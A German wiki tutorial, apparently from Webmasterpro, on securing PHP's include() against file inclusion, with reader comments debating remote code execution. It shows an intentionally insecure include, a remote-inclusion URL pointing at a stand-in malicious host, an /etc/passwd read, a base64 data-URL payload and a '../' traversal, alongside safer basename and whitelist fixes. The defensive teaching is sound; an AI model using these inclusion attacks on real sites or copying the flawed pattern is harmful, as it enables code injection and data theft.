PHP-Sicherheit: include() absichern

1 | 19 Kommentare | 38896 Aufrufe
Sie können diese Wikiseite nach der Anmeldung auf Webmasterpro bearbeiten. Helfen Sie mit und verbessern Sie "PHP-Sicherheit: include() absichern" mit Ihrem Wissen!

Anzeige Hier werben

Leider sind sich viele PHP-Anfänger nicht über die Macht der include()-Funktion bewusst. So lassen sich mit dieser auch entfernte Dateien, Dateien die über den Browser nicht aufrufbar sind oder Dateien außerhalb des eigenen Webspaces laden.

Hierzu 2 Beispiele:

  1. externe Dateien
    Ein include('http://www.domain.de/datei.xxx'); wird von PHP ausgeführt. Wenn die externe Datei nun selbst PHP-Code enthält, so wird dieser vom PHP-Interpreter geladen, als wäre es eigener Code. Somit lässt sich also fremder Code einschleusen.
  2. Dateien außerhalb des Webspace
    Hiermit lassen sich z.B. alle User einer UNIX-Maschine auslesen (include('/etc/passwd');)

Schutz durch den Adminstrator?

Diese möglichen Sicherheitslücken lassen sich natürlich vermeiden. Hierzu kann bereits der Serveradministrator Methoden einsetzen, auf diese wird dieser Artikel aber nur kurz eingehen, da man sich als Entwickler nicht auf solche Methoden verlassen sollte. Vielmehr sind sie als zusätzlicher Schutz für den Server anzusehen.

include() absichern

Die Konfiguration von PHP bieten einige Möglichkeiten um include()-Angriffe zu vereiteln. So kann der Aufruf von entfernten Dateien unterbunden werden (Option: allow_url_fopen). Hierbei werden allerdings alle anderen Zugriffe auf entfernte Dateien auch unterbunden, wodurch bestimmte Scripts nicht mehr können.

Seit PHP 5.2 kann auch nur das Einbinden externer Dateien (Option: allow_url_include) unterbunden werden. Gleichzeitig führt PHP 5.2 aber Methoden ein um base64-kodierten Code oder direkte Eingaben als Datei zu verwenden (Beispiel: include("data:;base64,PD9waHAgcGhwaW5mbygpOz8+");), wodurch neue Lücken aufgerissen werden können.

Beide Methoden bringen also weitere Probleme oder decken nur einen Teil der möglichen Angriffsvektoren ab.

Zugriff auf Dateien außerhalb des eigenen Webspaces verhindern

Auch über die Dateirechte auf dem Server können Angriffe vermieden werden. Erhält der Webserver keinen Zugriff auf systeminterne Konfigurationsdateien, so kann auch kein externer Angreifer das über PHP. Auch der Zugriff auf Dateien fremder Webspaces sollte unbedingt unterbunden werden.

Beispiel: include() von einem PHP-Anfänger

Der Quelltext ist unsicher und sollte so nie verwendet werden!

 
PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
if (isset($page))
{
    include($page . '.php');
}
else
{
    include('startpage.php');
}
?>

Hier wäre es nun sehr einfach möglich durch den Aufruf von http://www.beispiel.de/index.php?page=http://www.boese-seite.de/code Code einzuschleusen. Deswegen merke:

Traue nie Daten, die vom Benutzer kommen.

Zusätzlich zur fehlenden Prüfung der vom Browser übermittelten Daten, wird hier vorausgesetzt, dass register_globals aktiv ist. Die dadurch möglicherweise entstehenden Sicherheitsprobleme sollen aber der Inhalt eines anderen Artikels sein.

Absichern von include()

Als erster Schritt sollte ausgeschlossen werden, dass entfernte Dateien geladen werden können. Eine Eigenschaft von file_exists() ist hierbei sehr hilfreich: Bei entfernten Dateien liefert die Funktion immer false zurück. Somit können entfernte Dateien - inklusive data-URLs, die oben beschrieben werden - erkannt werden und gleichzeitig geprüft werden ob die gesuchte Datei überhaupt existiert.

Um zu verhindern, dass Dateien außerhalb des eigenen Webspaces geladen werden können muss als weiterer Schritt noch eine weitere Prüfung erfolgen. Der Einfachheit halber und weil es für die meisten der Seiten mit include()-Fehlern ausreicht werden folgende Voraussetzungen gesetzt:

  • Alle Dateien befinden sich in einem eigenen Verzeichnis (hier content/)
  • Die Dateien befinden sich in einer flachen Struktur ohne Unterverzeichnisse
  • Alle Dateien enden auf ".php"
  • Der GET-Parameter "page" gibt - wie im Beispiel oben - die angeforderte Seite an, ohne Dateierweiterung oder Pfad
 
PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
/* Standardseite, die eingebunden werden soll */
$ipage = 'content/startpage.php';
if (isset($_GET['page']))
{
    /* Mit basename() wird der Dateiname extrahiert, Beispiel:
       basename('foo/bar') -> 'bar' */
    $page = basename($_GET['page']);
    /* temporäre Variable für den vollen Pfad der Datei */
    $tpage = 'content/' . $page . '.php';
    /* Test ob die Datei lokal existiert */
    if (file_exists($tpage))
    {
        /* $ipage wird nur verändert, wenn alle Bedingungen zutreffen */
        $ipage = $tpage;
    }
}
include($ipage);
?>

Verwendung von readfile()

Werden keine dynamischen Seiten eingebunden kann man statt include() auch readfile() verwenden. Bei allen Seiten, bei denen ein Frameset durch PHP ersetzt werden soll, ist das meist ausreichend. Im Gegensatz zu include() liest readfile() die Datei ein und gibt den Inhalt unverändert aus. Somit kann kein fremder Code ausgeführt werden.

Trotzdem bleibt die Gefahr, dass Dateien ausgelesen werden können die nicht gewünscht sind (beispielsweise Konfigurationsdateien für die MySQL-Verbindung) oder die Gefahr einer Cross-Site-Scripting-Lücke, weshalb auch hier eine Prüfung/Sicherung der Parameter wie in obigen Code passieren sollte.


Wikiseite bearbeiten

Diese Seite kann von jedem registrierten Benutzer bearbeitet werden. Bisher hat 1 Person an der Seite "PHP-Sicherheit: include() absichern" mitgewirkt.

Sie haben einen Fehler entdeckt oder möchten etwas ergänzen? Dann können Sie nach der Anmeldung "PHP-Sicherheit: include() absichern" hier bearbeiten.

Mitarbeiter

Kommentare: PHP-Sicherheit: include() absichern

Neuen Kommentar schreiben
Auch bein lokalen Dateien?
Beantworten

Heißt das, dass wenn ich eine Datei, die in einem lokalen Unterverzeichnis liegt, per

include ('dateiname.php');

in meine php Datei einbinde, auch diesen Aufruf absichern muss?

Gruß

heady am 19.05.2009 um 15:14
Re: Auch bein lokalen Dateien?
Beantworten

Solange du den Dateinamen da wirklich fest im Quelltext stehen hast nicht, bei Variablen sieht es schon wieder anders aus (Stichwort register globals etc.).

David Danier am 19.05.2009 um 16:21
Tipp:
Beantworten

einfach ('./myfiles/my.php'); / ein ./ langt schon ;-).

Benutzer gelöscht am 12.04.2008 um 23:59
Re: Tipp:
Beantworten

einfach ('./myfiles/my.php'); / ein ./ langt schon ;-).

Nein, du vergisst, dass es "../" gibt: './myfiles/my.php' -> './myfiles/../dbconfig.php'
('../dbconfig.php' wäre hierbei der Inhalt von $_GET['page'] o.ä.)

David Danier am 13.04.2008 um 09:40
Einbinden externer Dateien
Beantworten

"Ein include('http://www.domain.de/datei.xxx'); wird von PHP ausgeführt. Wenn die externe Datei nun selbst PHP-Code enthält, so wird dieser vom PHP-Interpreter geladen, als wäre es eigener Code. Somit lässt sich also fremder Code einschleusen."

So ein Quatsch! Der PHP Code wird a) auf dem entfernten Server ausgeführt oder b) einfach an den Client gesendet, ohne ausgeführt zu werden.

GruppeCN am 08.01.2008 um 20:13
Re: Einbinden externer Dateien
Beantworten

So ein Quatsch! Der PHP Code wird a) auf dem entfernten Server ausgeführt oder b) einfach an den Client gesendet, ohne ausgeführt zu werden.

Zu a): Wenn der externe Server Code ausführt, so heißt das nicht, dass das lokal nicht (nochmal) passiert. PHP kann selbst wieder gültiges PHP ausgeben. (echo "<?php ...?>";)
Zu b): Falsch, nur bei readfile() ist das der Fall. include() führt auch Code aus, der von extern kommt, siehe:

 
Text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ php -r 'readfile("http://localhost/~ddanier/test.txt");'
<?php
echo "TEST\n";
echo "<html>\n";
$var = 'foobar';
echo $var;
?>

$ php -r 'include("http://localhost/~ddanier/test.txt");'
TEST
<html>
foobar
David Danier am 08.01.2008 um 20:31
Re: Einbinden externer Dateien
Beantworten

Mh, okay, du hast recht. Ich war zu dumm, um meinen Test richtig zu konstruieren. Sorry ^^

GruppeCN am 08.01.2008 um 23:31
Re: Einbinden externer Dateien
Beantworten

Mh, okay, du hast recht. Ich war zu dumm, um meinen Test richtig zu konstruieren. Sorry ^^

Doch nicht! Du hast den Fehler im Beispiel ^^ Dein Beispiel funktioniert nur auf der Konsole, probiers aus.

GruppeCN am 08.01.2008 um 23:40
Re: Einbinden externer Dateien
Beantworten

Doch nicht! Du hast den Fehler im Beispiel ^^ Dein Beispiel funktioniert nur auf der Konsole, probiers aus.

Es funktioniert auch hier nur auf der Konsole, das liegt an Einstellungen in der php.ini:

  • allow_url_fopen
  • allow_url_include

Wenn ich beide Einstellungen allerdings aktiviere, so klappt es hier auch über den Webserver problemlos. Die beiden Optionen sind auch oben im Artikel unter "include() absichern" erwähnt, bieten aber keinen ausreichenden Schutz.
Fakt ist aber: include() führt Code aus. Das liegt unter anderem an der Beschaffenheit der URL-Handler von PHP. include() selbst sieht das nur als normale Datei, die automatisch von extern abgerufen wird.

David Danier am 09.01.2008 um 10:34
Re: Einbinden externer Dateien
Beantworten

Die Einstellungen legen ja nur fest, ob der Zugriff auf externe Dateien gestattet ist oder nicht und hat mit dem Problem nichts zu tun.

Es klappt über den Webserver nicht, weil hier ein syntaktisches Problem besteht:

Dies ist die Datei index.php:
<?php include('http://adresse.de/datei.txt'); ?>

Wenn die datei.txt jetzt folgendes enthält:
echo "Hello World";

Ist die Ausgabe:
echo "Hello World";

Wenn datei.txt aber enthält:
<?php echo "Hello World"; ?>

Gibt es durch das include() auf einmal einen Syntaxfehler und der Code wird auch nicht ausgeführt.

D.h. im Prinzip hast du schon Recht, nur technisch führt das in eine Sackgasse.

GruppeCN am 09.01.2008 um 13:45
Re: Einbinden externer Dateien
Beantworten

Wo und wieso sollte es da einen Syntaxfehler geben? Hast du das überhaupt getestet?

David Danier am 09.01.2008 um 13:59
Re: Einbinden externer Dateien
Beantworten

Denn das Argument der Dateihandler (Streams etc.) macht ja durchaus Sinn.

GruppeCN am 09.01.2008 um 14:31
Re: Einbinden externer Dateien
Beantworten

Wo und wieso sollte es da einen Syntaxfehler geben? Hast du das überhaupt getestet?

Keine Ahnung warum, das war nur das Ergebnis des Tests. Ich untersuch das nochmal.

GruppeCN am 09.01.2008 um 14:31
Re: Einbinden externer Dateien
Beantworten

Keine Ahnung warum, das war nur das Ergebnis des Tests. Ich untersuch das nochmal.

Wo testest du denn? Evtl. hat dein Webhoster ein Sicherheitsmodul aktiv, was versucht solche Abfragen zu verhindern?

David Danier am 09.01.2008 um 14:33
Re: Einbinden externer Dateien
Beantworten

Wo testest du denn? Evtl. hat dein Webhoster ein Sicherheitsmodul aktiv, was versucht solche Abfragen zu verhindern?

Mh, erscheint mir eher unwahrscheinlich. Aber dein Argument bezüglich der Handler ist wohl überzeugend genug, mein Fehler. Eventuell hab ich schon wieder was falsch konstruiert oder so?

GruppeCN am 11.01.2008 um 17:43
Danke für diesen wichtigen Beitrag!!
Beantworten

Ist diese include-Variante sicher??

 
PHP
1
maio am 07.11.2007 um 15:13
Re: Danke für diesen wichtigen Beitrag!!
Beantworten

Ist diese include-Variante sicher??

 
PHP
1
2
3
4
5
6
7
if($_GET['show'] == 'meineseite') {

    $page = 'meineseite/index.php';
    if (file_exists($page)) {
    include $page;
    }
}
maio am 07.11.2007 um 15:14
Re: Danke für diesen wichtigen Beitrag!!
Beantworten

Ja, allerdings meiner Meinung nach zu aufwändig. Wenn du die geladene PHP-Seite fest in den Code schreibst musst du nicht zwingend prüfen, ob die Datei überhaupt existiert. Das macht hauptsächlich bei include()'s Sinn, wo der Dateiname aus einem Parameter, den der Besucher übergibt, generiert wird. Falls du auf diese Art mehrere Seiten einbindest würde ich allerdings folgendes empfehlen:

 
PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
switch ($_GET['show'])
{
    case 'meineseite':
        $page = 'meineseite/index.php';
        break;
    case 'deineseite':
        $page = 'deineseite-liegt/irgrndwo-anders.php';
        break;
    default: // Wichtig, da ansonsten $page auch über einen GET-Parameter gefüllt werden kann, wenn register_globals aktiv ist
        $page = 'default.php';
}
include($page);

Grundsätzlich ist der Vergleich des Parameters mit dem gewünschten Wert/den gewünschten Werten natürlich die sicherste Methode um das Einbinden ungewünschter Dateien zu unterbinden. Eine Prüfung der Werte ist dann nahezu überflüssig. Allerdings muss der Code sauber sein und darf beispielsweise nicht das Setzen von Variablen erlauben, wenn register_globals aktiv ist (siehe Kommentar im Code).

David Danier am 07.11.2007 um 16:33
Re: Danke für diesen wichtigen Beitrag!!
Beantworten

m'kay! danke...

maio am 07.11.2007 um 18:28